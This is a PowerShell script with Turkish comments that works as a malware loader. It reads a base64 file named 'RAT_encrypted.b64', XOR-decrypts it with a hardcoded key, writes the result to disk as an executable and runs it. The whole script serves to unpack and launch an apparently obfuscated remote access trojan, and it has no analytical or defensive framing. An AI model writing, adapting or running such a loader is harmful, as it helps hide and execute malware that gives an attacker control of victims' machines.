$OutputEncoding = [System.Text.Encoding]::UTF8 $ErrorActionPreference = "Stop" # Değişkenler $encoded_data_path = "C:\Users\rust\Desktop\yeni\RAT_encrypted.b64" $key = "supersecretkey" function Convert-Base64ToByteArray { param ( [string]$base64 ) [System.Convert]::FromBase64String($base64) } function XOR-Decrypt { param ( [byte[]]$data, [string]$key ) $result = New-Object byte[] $data.Length for ($i = 0; $i -lt $data.Length; $i++) { $result[$i] = $data[$i] -bxor [byte][char]$key[$i % $key.Length] } return $result } try { # Dosya yolunu kontrol et Write-Output "Kontrol edilen dosya yolu: $encoded_data_path" if (-Not (Test-Path -Path $encoded_data_path)) { throw "Dosya bulunamadı: $encoded_data_path" } Write-Output "Dosya bulundu, içeriği okunuyor..." $encoded_data = Get-Content -Path $encoded_data_path Write-Output "Dosya içeriği başarıyla okundu." $encrypted_data = Convert-Base64ToByteArray -base64 $encoded_data # Şifre çöz Write-Output "Şifre çözme işlemi başlatılıyor..." $decrypted_data = XOR-Decrypt -data $encrypted_data -key $key Write-Output "Şifre çözme işlemi tamamlandı." # Şifre çözülmüş veriyi geçici olarak bir dosyaya yaz $decrypted_path = "C:\Users\rust\Desktop\yeni\decrypted_data.exe" [System.IO.File]::WriteAllBytes($decrypted_path, $decrypted_data) Write-Output "Şifre çözülmüş veri dosyaya yazıldı: $decrypted_path" # Şifre çözülmüş dosyanın çalışabilirliğini kontrol et if (-Not (Test-Path -Path $decrypted_path)) { throw "Şifre çözülmüş dosya oluşturulamadı: $decrypted_path" } Write-Output "Şifre çözülmüş dosya bulundu, çalıştırılıyor..." # Şifre çözülmüş veriyi yükle ve çalıştır & $decrypted_path # Scriptin tamamlandığını belirten bir mesaj Write-Output "Script başarıyla tamamlandı. Şifre çözülmüş dosya: $decrypted_path" } catch { $_ | Out-File -FilePath "C:\Users\rust\Desktop\yeni\error_log.txt" Write-Output "Hata: $_" throw $_ }